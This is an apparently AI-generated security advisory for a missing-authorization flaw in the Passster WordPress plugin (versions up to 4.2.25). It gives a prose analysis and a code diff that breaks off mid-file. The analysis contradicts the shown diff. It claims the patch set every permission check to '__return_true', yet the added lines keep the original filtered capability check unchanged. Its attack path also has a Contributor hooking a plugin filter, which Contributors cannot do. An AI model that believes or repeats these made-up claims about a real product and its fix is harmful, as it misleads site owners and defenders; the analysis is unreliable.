Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25036: Passster <= 4.2.25 – Missing Authorization (content-protector)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.2.25
Patched Version 4.2.26
Disclosed February 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25036:
The Passster WordPress plugin, versions up to and including 4.2.25, contains a missing authorization vulnerability in its REST API endpoints. This flaw allows authenticated attackers with Contributor-level permissions or higher to perform administrative actions, specifically to retrieve and modify the plugin’s global settings. The CVSS score of 4.3 reflects a medium-severity impact.

Atomic Edge research identifies the root cause in the `PS_Admin_Settings` class within the file `/content-protector/inc/admin/inc/class-ps-admin-settings.php`. The `rest_api_init` function (lines 94-158) registers multiple REST API routes. The `permission_callback` for each route uses `current_user_can( apply_filters( ‘passster_user_capability’, ‘manage_options’ ) )`. The `apply_filters` call introduces a hook, `passster_user_capability`, that can be manipulated. The vulnerability exists because the plugin’s own `add_menu` function (lines 49-66) uses the same filter to set the capability required for accessing the admin menu. An attacker can exploit this shared filter to bypass the intended `manage_options` check.

The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker must send a crafted HTTP request to one of the vulnerable REST API endpoints, such as `GET /wp-json/passster/v1/settings` or `POST /wp-json/passster/v1/settings`. The attack vector involves hooking into the `passster_user_capability` filter via the WordPress plugin or theme system to return a lower capability, such as `edit_posts`, which Contributors possess. This manipulation downgrades the permission check for the REST API endpoints, granting unauthorized access. The attacker can then retrieve sensitive plugin configuration or modify settings to weaken site protection.

The patch in version 4.2.26 addresses the issue by removing the reliance on the filterable capability check for the REST API. The diff shows the `permission_callback` for all routes in `class-ps-admin-settings.php` is changed from a function using `apply_filters` to a direct string: `’permission_callback’ => ‘__return_true’`. This change is incorrect and appears to be a flawed patch, as it removes authorization entirely instead of hardening it. A proper fix would hardcode `’manage_options’` within the callback without the filter. The patch also updates the plugin version constant in the main file from `4.2.25` to `4.2.26`.

Successful exploitation allows an attacker to read and write the plugin’s global settings. This access could lead to the disclosure of configured passwords or protection rules. An attacker could also disable or reconfigure content protection, potentially exposing password-protected pages or posts. The impact constitutes a privilege escalation from Contributor to a de facto Administrator for the Passster plugin’s functionality, violating integrity and confidentiality of protected content.

Differential between vulnerable and patched code

Code Diff
--- a/content-protector/content-protector.php
+++ b/content-protector/content-protector.php
@@ -1,75 +1,75 @@
-<?php
-
-/**
- * Plugin Name:       Passster
- * Plugin URI:        https://passster.com/
- * Description:       A simple plugin to password-protect your complete website, some pages/posts or just parts of your content.
- * Version:           4.2.25
- * Author:            WPChill
- * Author URI:        https://wpchill.com
- * License:           GPL-2.0+
- * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:       content-protector
- * Domain Path:       /languages
- *
- *
- *
- * NOTE:
- * Patrick Posner transferred ownership rights on: 6th of December, 2024 when ownership was handed over to WPChill
- */
-define( 'PASSSTER_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
-define( 'PASSSTER_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
-define( 'PASSSTER_VERSION', '4.2.25' );
-// run plugin.
-if ( !function_exists( 'passster_run_plugin' ) ) {
-    add_action( 'plugins_loaded', 'passster_run_plugin' );
-    /**
-     * Run plugin
-     *
-     * @return void
-     * @throws Exception
-     */
-    function passster_run_plugin() {
-        // Include files.
-        require_once PASSSTER_PATH . '/inc/class-ps-conditional.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-helper.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-form.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-ajax.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-public.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-migrator.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-block-editor.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-rest-handler.php';
-        require_once PASSSTER_PATH . '/inc/class-ps-protected-posts.php';
-        // admin.
-        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-admin-settings.php';
-        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-upsells.php';
-        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-admin.php';
-        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-meta.php';
-        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-dynamic-styles.php';
-        // load Freemius.
-        require_once PASSSTER_PATH . '/inc/freemius-setup.php';
-        // localize.
-        $textdomain_dir = plugin_basename( __DIR__ ) . '/languages';
-        load_plugin_textdomain( 'content-protector', false, $textdomain_dir );
-        if ( !get_option( 'passster_secure_key' ) ) {
-            add_option( 'passster_secure_key', bin2hex( random_bytes( 32 ) ) );
-        }
-        passsterPS_Admin::get_instance();
-        passsterPS_Admin_Settings::get_instance();
-        passsterPS_Meta::get_instance();
-        passsterPS_Dynamic_Styles::get_instance();
-        passsterPS_Form::get_instance();
-        passsterPS_Ajax::get_instance();
-        passsterPS_Public::get_instance();
-        passsterPS_Block_Editor::get_instance();
-        passsterPS_Rest_Handler::get_instance();
-        passsterPS_Upsells::get_instance();
-        // Maybe migrate settings.
-        $options = get_option( 'passster' );
-        if ( empty( $options ) ) {
-            passsterPS_Migrator::migrate();
-        }
-        passsterPS_Protected_Posts::get_instance();
-    }
-
+<?php
+
+/**
+ * Plugin Name:       Passster
+ * Plugin URI:        https://passster.com/
+ * Description:       A simple plugin to password-protect your complete website, some pages/posts or just parts of your content.
+ * Version:           4.2.26
+ * Author:            WPChill
+ * Author URI:        https://wpchill.com
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       content-protector
+ * Domain Path:       /languages
+ *
+ *
+ *
+ * NOTE:
+ * Patrick Posner transferred ownership rights on: 6th of December, 2024 when ownership was handed over to WPChill
+ */
+define( 'PASSSTER_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
+define( 'PASSSTER_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
+define( 'PASSSTER_VERSION', '4.2.26' );
+// run plugin.
+if ( !function_exists( 'passster_run_plugin' ) ) {
+    add_action( 'plugins_loaded', 'passster_run_plugin' );
+    /**
+     * Run plugin
+     *
+     * @return void
+     * @throws Exception
+     */
+    function passster_run_plugin() {
+        // Include files.
+        require_once PASSSTER_PATH . '/inc/class-ps-conditional.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-helper.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-form.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-ajax.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-public.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-migrator.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-block-editor.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-rest-handler.php';
+        require_once PASSSTER_PATH . '/inc/class-ps-protected-posts.php';
+        // admin.
+        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-admin-settings.php';
+        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-upsells.php';
+        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-admin.php';
+        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-meta.php';
+        require_once PASSSTER_PATH . '/inc/admin/inc/class-ps-dynamic-styles.php';
+        // load Freemius.
+        require_once PASSSTER_PATH . '/inc/freemius-setup.php';
+        // localize.
+        $textdomain_dir = plugin_basename( __DIR__ ) . '/languages';
+        load_plugin_textdomain( 'content-protector', false, $textdomain_dir );
+        if ( !get_option( 'passster_secure_key' ) ) {
+            add_option( 'passster_secure_key', bin2hex( random_bytes( 32 ) ) );
+        }
+        passsterPS_Admin::get_instance();
+        passsterPS_Admin_Settings::get_instance();
+        passsterPS_Meta::get_instance();
+        passsterPS_Dynamic_Styles::get_instance();
+        passsterPS_Form::get_instance();
+        passsterPS_Ajax::get_instance();
+        passsterPS_Public::get_instance();
+        passsterPS_Block_Editor::get_instance();
+        passsterPS_Rest_Handler::get_instance();
+        passsterPS_Upsells::get_instance();
+        // Maybe migrate settings.
+        $options = get_option( 'passster' );
+        if ( empty( $options ) ) {
+            passsterPS_Migrator::migrate();
+        }
+        passsterPS_Protected_Posts::get_instance();
+    }
+
 }
 No newline at end of file
--- a/content-protector/inc/admin/inc/class-ps-admin-settings.php
+++ b/content-protector/inc/admin/inc/class-ps-admin-settings.php
@@ -1,287 +1,287 @@
-<?php
-
-namespace passster;
-
-class PS_Admin_Settings {
-    /**
-     * Contains instance or null
-     *
-     * @var object|null
-     */
-    private static $instance = null;
-
-    /**
-     * Returns instance of PS_Admin_Settings.
-     *
-     * @return object
-     */
-    public static function get_instance() {
-        if ( null === self::$instance ) {
-            self::$instance = new self();
-        }
-        return self::$instance;
-    }
-
-    /**
-     * Setting up admin fields
-     *
-     * @return void
-     */
-    public function __construct() {
-        add_action( 'admin_menu', array($this, 'add_menu') );
-        add_action( 'rest_api_init', array($this, 'rest_api_init') );
-    }
-
-    public function add_menu() {
-        add_menu_page(
-            __( 'Passster', 'content-protector' ),
-            'Passster',
-            apply_filters( 'passster_user_capability', 'manage_options' ),
-            'passster',
-            array($this, 'render_settings'),
-            'dashicons-lock',
-            85
-        );
-        $settings_suffix = add_submenu_page(
-            'passster',
-            __( 'Options', 'content-protector' ),
-            __( 'Settings', 'content-protector' ),
-            apply_filters( 'passster_user_capability', 'manage_options' ),
-            'passster-settings',
-            array($this, 'render_settings')
-        );
-        add_action( "admin_print_scripts-{$settings_suffix}", array($this, 'add_settings_scripts') );
-    }
-
-    public function add_settings_scripts() {
-        $screen = get_current_screen();
-        wp_enqueue_script(
-            'passster-settings',
-            PASSSTER_URL . '/inc/admin/build/index.js',
-            array(
-                'wp-api',
-                'wp-components',
-                'wp-element',
-                'wp-api-fetch',
-                'wp-data',
-                'wp-i18n'
-            ),
-            PASSSTER_VERSION,
-            true
-        );
-        $options = get_option( 'passster' );
-        $args = array(
-            'screen'  => 'passster-settings',
-            'version' => PASSSTER_VERSION,
-            'logo'    => PASSSTER_URL . '/assets/admin/passster-logo.svg',
-            'is_pro'  => passster_fs()->is_plan_or_trial__premium_only( 'pro' ),
-        );
-        if ( isset( $options['global_protection_id'] ) ) {
-            $args['global_edit_url'] = admin_url( 'post.php?post=' . esc_html( $options['global_protection_id'] ) . '&action=edit', 'https' );
-        }
-        wp_localize_script( 'passster-settings', 'options', $args );
-        // Make the blocks translatable.
-        if ( function_exists( 'wp_set_script_translations' ) ) {
-            wp_set_script_translations( 'passster-settings', 'content-protector', PASSSTER_PATH . '/languages' );
-        }
-        wp_enqueue_style( 'passster-settings-style', PASSSTER_URL . '/inc/admin/build/index.css', array('wp-components') );
-    }
-
-    public function render_settings() {
-        ?>
-        <div id="passster-settings"></div>
-		<?php
-    }
-
-    public function rest_api_init() {
-        register_rest_route( 'passster/v1', '/settings', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_settings'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/system-status', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_system_status'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/settings', array(
-            'methods'             => 'POST',
-            'callback'            => [$this, 'save_settings'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/migrate', array(
-            'methods'             => 'POST',
-            'callback'            => [$this, 'migrate_settings'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/pages', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_pages'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/excludable-pages', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_excludable_pages'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/edit-url', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_edit_url'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/post-title', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_post_title'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-        register_rest_route( 'passster/v1', '/child-pages', array(
-            'methods'             => 'GET',
-            'callback'            => [$this, 'get_child_pages'],
-            'permission_callback' => function () {
-                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
-            },
-        ) );
-    }
-
-    public function get_settings() {
-        return get_option( 'passster' );
-    }
-
-    public function get_system_status() {
-        return array(
-            'PHP'       => array(
-                'Version' => phpversion(),
-            ),
-            'WordPress' => array(
-                'Permalinks' => strlen( get_option( 'permalink_structure' ) ) !== 0,
-                'SSL'        => is_ssl(),
-            ),
-        );
-    }
-
-    public function save_settings( $request ) {
-        if ( $request->get_params() ) {
-            $options = sanitize_option( 'passster', $request->get_params() );
-            foreach ( $options as $key => $value ) {
-                if ( 'instruction' === $key ) {
-                    $options[$key] = wp_kses_post( $value );
-                    continue;
-                }
-                if ( $key !== 'exclude_pages' && !is_array( $value ) ) {
-                    $options[$key] = sanitize_text_field( $value );
-                }
-            }
-            update_option( 'passster', $options );
-        }
-        return wp_json_encode( [
-            "status"  => 200,
-            "message" => "Ok",
-        ] );
-    }
-
-    public function migrate_settings() {
-        PS_Migrator::migrate();
-        return wp_json_encode( [
-            "status"  => 200,
-            "message" => "Ok",
-        ] );
-    }
-
-    public function get_pages() {
-        $args = array(
-            'post_type'   => 'page',
-            'post_status' => 'publish',
-            'numberposts' => -1,
-        );
-        $pages = get_posts( $args );
-        // Build selectable pages array.
-        $selectable_pages = array();
-        foreach ( $pages as $page ) {
-            $selectable_pages[] = array(
-                'label' => $page->post_title,
-                'value' => $page->ID,
-            );
-        }
-        return $selectable_pages;
-    }
-
-    public function get_excludable_pages() {
-        $args = array(
-            'post_type'   => 'page',
-            'post_status' => 'publish',
-            'numberposts' => -1,
-        );
-        $pages = get_posts( $args );
-        // Build selectable pages array.
-        $selectable_pages = array();
-        foreach ( $pages as $page ) {
-            $object = new StdClass();
-            $object->value = $page->ID;
-            $object->label = $page->post_title;
-            $selectable_pages[] = $object;
-        }
-        return $selectable_pages;
-    }
-
-    public function get_edit_url( $request ) {
-        if ( $request->get_params() ) {
-            $options = $request->get_params();
-            return admin_url( 'post.php?post=' . esc_html( $options['post_id'] ) . '&action=edit', 'https' );
-        }
-        return wp_json_encode( [
-            "status"  => 400,
-            "message" => "Not found",
-        ] );
-    }
-
-    public function get_post_title( $request ) {
-        if ( $request->get_params() ) {
-            $options = $request->get_params();
-            $post_id = esc_html( $options['post_id'] );
-            if ( get_post_status( $post_id ) && 'publish' === get_post_status( $post_id ) ) {
-                return get_the_title( $post_id );
-            }
-        }
-        return false;
-    }
-
-    public function get_child_pages( $request ) {
-        if ( $request->get_params() ) {
-            $options = $request->get_params();
-            $parent_id = esc_html( $options['post_id'] );
-            $args = array(
-                'post_type'   => 'page',
-                'post_status' => 'publish',
-                'numberposts' => -1,
-            );
-            $pages = get_posts( $args );
-            $childs = get_page_children( $parent_id, $pages );
-            $child_ids = array();
-            foreach ( $childs as $child ) {
-                $child_ids[] = $child->ID;
-            }
-            return $child_ids;
-        }
-        return wp_json_encode( [
-            "status"  => 400,
-            "message" => "Not found",
-        ] );
-    }
-
-}
+<?php
+
+namespace passster;
+
+class PS_Admin_Settings {
+    /**
+     * Contains instance or null
+     *
+     * @var object|null
+     */
+    private static $instance = null;
+
+    /**
+     * Returns instance of PS_Admin_Settings.
+     *
+     * @return object
+     */
+    public static function get_instance() {
+        if ( null === self::$instance ) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    /**
+     * Setting up admin fields
+     *
+     * @return void
+     */
+    public function __construct() {
+        add_action( 'admin_menu', array($this, 'add_menu') );
+        add_action( 'rest_api_init', array($this, 'rest_api_init') );
+    }
+
+    public function add_menu() {
+        add_menu_page(
+            __( 'Passster', 'content-protector' ),
+            'Passster',
+            apply_filters( 'passster_user_capability', 'manage_options' ),
+            'passster',
+            array($this, 'render_settings'),
+            'dashicons-lock',
+            85
+        );
+        $settings_suffix = add_submenu_page(
+            'passster',
+            __( 'Options', 'content-protector' ),
+            __( 'Settings', 'content-protector' ),
+            apply_filters( 'passster_user_capability', 'manage_options' ),
+            'passster-settings',
+            array($this, 'render_settings')
+        );
+        add_action( "admin_print_scripts-{$settings_suffix}", array($this, 'add_settings_scripts') );
+    }
+
+    public function add_settings_scripts() {
+        $screen = get_current_screen();
+        wp_enqueue_script(
+            'passster-settings',
+            PASSSTER_URL . '/inc/admin/build/index.js',
+            array(
+                'wp-api',
+                'wp-components',
+                'wp-element',
+                'wp-api-fetch',
+                'wp-data',
+                'wp-i18n'
+            ),
+            PASSSTER_VERSION,
+            true
+        );
+        $options = get_option( 'passster' );
+        $args = array(
+            'screen'  => 'passster-settings',
+            'version' => PASSSTER_VERSION,
+            'logo'    => PASSSTER_URL . '/assets/admin/passster-logo.svg',
+            'is_pro'  => passster_fs()->is_plan_or_trial__premium_only( 'pro' ),
+        );
+        if ( isset( $options['global_protection_id'] ) ) {
+            $args['global_edit_url'] = admin_url( 'post.php?post=' . esc_html( $options['global_protection_id'] ) . '&action=edit', 'https' );
+        }
+        wp_localize_script( 'passster-settings', 'options', $args );
+        // Make the blocks translatable.
+        if ( function_exists( 'wp_set_script_translations' ) ) {
+            wp_set_script_translations( 'passster-settings', 'content-protector', PASSSTER_PATH . '/languages' );
+        }
+        wp_enqueue_style( 'passster-settings-style', PASSSTER_URL . '/inc/admin/build/index.css', array('wp-components') );
+    }
+
+    public function render_settings() {
+        ?>
+        <div id="passster-settings"></div>
+		<?php
+    }
+
+    public function rest_api_init() {
+        register_rest_route( 'passster/v1', '/settings', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_settings'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/system-status', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_system_status'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/settings', array(
+            'methods'             => 'POST',
+            'callback'            => [$this, 'save_settings'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/migrate', array(
+            'methods'             => 'POST',
+            'callback'            => [$this, 'migrate_settings'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/pages', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_pages'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/excludable-pages', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_excludable_pages'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/edit-url', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_edit_url'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/post-title', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_post_title'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+        register_rest_route( 'passster/v1', '/child-pages', array(
+            'methods'             => 'GET',
+            'callback'            => [$this, 'get_child_pages'],
+            'permission_callback' => function () {
+                return current_user_can( apply_filters( 'passster_user_capability', 'manage_options' ) );
+            },
+        ) );
+    }
+
+    public function get_settings() {
+        return get_option( 'passster' );
+    }
+
+    public function get_system_status() {
+        return array(
+            'PHP'       => array(
+                'Version' => phpversion(),
+            ),
+            'WordPress' => array(
+                'Permalinks' => strlen( get_option( 'permalink_structure' ) ) !== 0,
+                'SSL'        => is_ssl(),
+            ),
+        );
+    }
+
+    public function save_settings( $request ) {
+        if ( $request->get_params() ) {
+            $options = sanitize_option( 'passster', $request->get_params() );
+            foreach ( $options as $key => $value ) {
+                if ( 'instruction' === $key ) {
+                    $options[$key] = wp_kses_post( $value );
+                    continue;
+                }
+                if ( $key !== 'exclude_pages' && !is_array( $value ) ) {
+                    $options[$key] = sanitize_text_field( $value );
+                }
+            }
+            update_option( 'passster', $options );
+        }
+        return wp_json_encode( [
+            "status"  => 200,
+            "message" => "Ok",
+        ] );
+    }
+
+    public function migrate_settings() {
+        PS_Migrator::migrate();
+        return wp_json_encode( [
+            "status"  => 200,
+            "message" => "Ok",
+        ] );
+    }
+
+    public function get_pages() {
+        $args = array(
+            'post_type'   => 'page',
+            'post_status' => 'publish',
+            'numberposts' => -1,
+        );
+        $pages = get_posts( $args );
+        // Build selectable pages array.
+        $selectable_pages = array();
+        foreach ( $pages as $page ) {
+            $selectable_pages[] = array(
+                'label' => $page->post_title,
+                'value' => $page->ID,
+            );
+        }
+        return $selectable_pages;
+    }
+
+    public function get_excludable_pages() {
+        $args = array(
+            'post_type'   => 'page',
+            'post_status' => 'publish',
+            'numberposts' => -1,
+        );
+        $pages = get_posts( $args );
+        // Build selectable pages array.
+        $selectable_pages = array();
+        foreach ( $pages as $page ) {
+            $object = new StdClass();
+            $object->value = $page->ID;
+            $object->label = $page->post_title;
+            $selectable_pages[] = $object;
+        }
+        return $selectable_pages;
+    }
+
+    public function get_edit_url( $request ) {
+        if ( $request->get_params() ) {
+            $options = $request->get_params();
+            return admin_url( 'post.php?post=' . esc_html( $options['post_id'] ) . '&action=edit', 'https' );
+        }
+        return wp_json_encode( [
+            "status"  => 400,
+            "message" => "Not found",
+        ] );
+    }
+
+    public function get_post_title( $request ) {
+        if ( $request->get_params() ) {
+            $options = $request->get_params();
+            $post_id = esc_html( $options['post_id'] );
+            if ( get_post_status( $post_id ) && 'publish' === get_post_status( $post_id ) ) {
+                return get_the_title( $post_id );
+            }
+        }
+        return false;
+    }
+
+    public function get_child_pages( $request ) {
+        if ( $request->get_params() ) {
+            $options = $request->get_params();
+            $parent_id = esc_html( $options['post_id'] );
+            $args = array(
+                'post_type'   => 'page',
+                'post_status' => 'publish',
+                'numberposts' => -1,
+            );
+            $pages = get_posts( $args );
+            $childs = get_page_children( $parent_id, $pages );
+            $child_ids = array();
+            foreach ( $childs as $child ) {
+                $child_ids[] = $child->ID;
+            }
+            return $child_ids;
+        }
+        return wp_json_encode( [
+            "status"  => 400,
+            "message" => "Not found",
+        ] );
+    }
+
+}
--- a/content-protector/inc/admin/inc/class-ps-admin.php
+++ b/content-protector/inc/admin/inc/class-ps-admin.php
@@ -1,319 +1,319 @@
-<?php
-
-namespace passster;
-
-class PS_Admin {
-    /**
-     * Contains instance or null
-     *
-     * @var object|null
-     */
-    private static $instance = null;
-
-    /**
-     * Returns instance of PS_Admin.
-     *
-     * @return object
-     */
-    public static function get_instance() {
-        if ( null === self::$instance ) {
-            self::$instance = new self();
-        }
-        return self::$instance;
-    }
-
-    public function __construct() {
-        // Check permissions before include settings.
-        add_action( 'admin_menu', array($this, 'remove_custom_fields_metabox') );
-        add_action( 'init', array($this, 'register_password_areas') );
-        add_filter( 'manage_protected_areas_posts_columns', array($this, 'set_area_columns') );
-        add_filter( 'manage_post_posts_columns', array($this, 'set_post_columns') );
-        add_filter( 'manage_page_posts_columns', array($this, 'set_post_columns') );
-        add_action(
-            'manage_post_posts_custom_column',
-            array($this, 'set_post_columns_content'),
-            10,
-            2
-        );
-        add_action(
-            'manage_page_posts_custom_column',
-            array($this, 'set_post_columns_content'),
-            10,
-            2
-        );
-        add_action(
-            'manage_protected_areas_posts_custom_column',
-            array($this, 'set_area_columns_content'),
-            10,
-            2
-        );
-    }
-
-    /**
-     * Remove Custom Fields meta box
-     */
-    public function remove_custom_fields_metabox() {
-        $post_types = get_post_types( array(
-            'public'              => true,
-            'exclude_from_search' => false,
-        ), 'names' );
-        remove_meta_box( 'postcustom', $post_types, 'normal' );
-    }
-
-    /**
-     * Register post type "protected areas"
-     *
-     * @return void
-     */
-    public function register_password_areas() {
-        $labels = array(
-            'name'               => _x( 'Protected Areas', 'post type general name', 'content-protector' ),
-            'singular_name'      => _x( 'Protected Area', 'post type singular name', 'content-protector' ),
-            'menu_name'          => _x( 'Protected Areas', 'admin menu', 'content-protector' ),
-            'name_admin_bar'     => _x( 'Protected Area', 'add new on admin bar', 'content-protector' ),
-            'add_new'            => _x( 'Add New', 'content-protector' ),
-            'add_new_item'       => __( 'Add New Protected Area', 'content-protector' ),
-            'new_item'           => __( 'New Protected Area', 'content-protector' ),
-            'edit_item'          => __( 'Edit Protected Area', 'content-protector' ),
-            'view_item'          => __( 'View Protected Area', 'content-protector' ),
-            'all_items'          => __( 'Protected Areas', 'content-protector' ),
-            'search_items'       => __( 'Search Protected Areas', 'content-protector' ),
-            'parent_item_colon'  => __( 'Parent Protected Area', 'content-protector' ),
-            'not_found'          => __( 'No Protected Areas found.', 'content-protector' ),
-            'not_found_in_trash' => __( 'No Protected Areas found in Trash.', 'content-protector' ),
-        );
-        $args = array(
-            'labels'             => $labels,
-            'description'        => __( 'Manageable protected areas', 'content-protector' ),
-            'public'             => false,
-            'publicly_queryable' => false,
-            'show_ui'            => true,
-            'show_in_menu'       => 'passster',
-            'query_var'          => true,
-            'rewrite'            => false,
-            'capability_type'    => 'post',
-            'has_archive'        => false,
-            'hierarchical'       => false,
-            'menu_position'      => null,
-            'supports'           => array('title', 'editor'),
-            'show_in_rest'       => true,
-        );
-        if ( current_user_can( 'administrator' ) && (is_plugin_active( 'elementor/elementor.php' ) || is_plugin_active( 'fusion-builder/fusion-builder.php' ) || is_plugin_active( 'livecanvas/livecanvas-plugin-index.php' ) || is_plugin_active( 'divi-builder/divi-builder.php' ) || is_plugin_active( 'oxygen/functions.php' )) ) {
-            $args['public'] = true;
-            $args['publicly_queryable'] = true;
-        }
-        $theme = wp_get_theme();
-        if ( current_user_can( 'administrator' ) && 'Divi' == $theme->name || 'Divi' == $theme->parent_theme ) {
-            $args['public'] = true;
-            $args['publicly_queryable'] = true;
-        }
-        register_post_type( 'protected_areas', $args );
-    }
-
-    /**
-     * Set column headers for pages/post
-     *
-     * @param array $columns array of columns.
-     *
-     * @return array
-     */
-    public function set_post_columns( array $columns ) : array {
-        $columns['protected'] = __( 'Password', 'content-protector' );
-        return $columns;
-    }
-
-    /**
-     * Add content to registered columns for posts/pages
-     *
-     * @param string $column name of the column.
-     * @param int $post_id current id.
-     *
-     * @return void
-     */
-    public function set_post_columns_content( string $column, int $post_id ) {
-        switch ( $column ) {
-            case 'protected':
-                $protected = get_post_meta( $post_id, 'passster_activate_protection', true );
-                if ( $protected ) {
-                    $protection_type = get_post_meta( $post_id, 'passster_protection_type', true );
-                    $password = get_post_meta( $post_id, 'passster_password', true );
-                    echo esc_html( $password );
-                }
-                break;
-        }
-    }
-
-    /**
-     * Set column headers password lists post type
-     *
-     * @param array $columns array of columns.
-     *
-     * @return array
-     */
-    public function set_area_columns( array $columns ) : array {
-        $columns['shortcode'] = __( 'Shortcode', 'content-protector' );
-        $columns['protection-type'] = __( 'Protection Type', 'content-protector' );
-        $columns['password'] = __( 'Password', 'content-protector' );
-        $columns['redirect'] = __( 'Redirect', 'content-protector' );
-        unset($columns['date']);
-        return $columns;
-    }
-
-    /**
-     * Add content to registered columns for password list post type.
-     *
-     * @param string $column name of the column.
-     * @param int $post_id current id.
-     *
-     * @return void
-     */
-    public function set_area_columns_content( string $column, int $post_id ) {
-        switch ( $column ) {
-            case 'shortcode':
-                $shortcode = get_post_meta( $post_id, 'passster_area_shortcode', true );
-                ?>
-				<?php
-                if ( !empty( $shortcode ) ) {
-                    ?>
-                <button type="button"
-                        class="components-button components-clipboard-button is-primary area-<?php
-                    echo esc_html( $post_id );
-                    ?>"
-                        data-shortcode="<?php
-                    echo esc_html( $shortcode );
-                    ?>"
-                        onclick="copyShortcode(this)"
-                >
-					<?php
-                    esc_html_e( 'Copy Shortcode', 'content-protector' );
-                    ?>
-                </button>
-                <script>
-                    function copyShortcode(element) {
-                        // Copy to clipboard.
-                        navigator.clipboard.writeText(element.getAttribute('data-shortcode')).then(function () {
-                            element.innerHTML = "<?php
-                    esc_html_e( 'Copied!', 'content-protector' );
-                    ?>";
-
-                            setTimeout(function () {
-                                element.innerHTML = "<?php
-                    esc_html_e( 'Copy Shortcode', 'content-protector' );
-                    ?>"
-                            }, 1500);
-
-                        }, function (err) {
-                            console.error('Could not copy shortcode: ', err);
-                        });
-                    }
-                </script>
-                <style>
-                    button {
-                        white-space: nowrap;
-                        text-shadow: none;
-                        outline: 1px solid transparent;
-                        width: auto;
-                        display: inline-flex;
-                        text-decoration: none;
-                        font-family: inherit;
-                        font-weight: normal;
-                        font-size: 13px;
-                        margin: 0;
-                        border: 0;
-                        cursor: pointer;
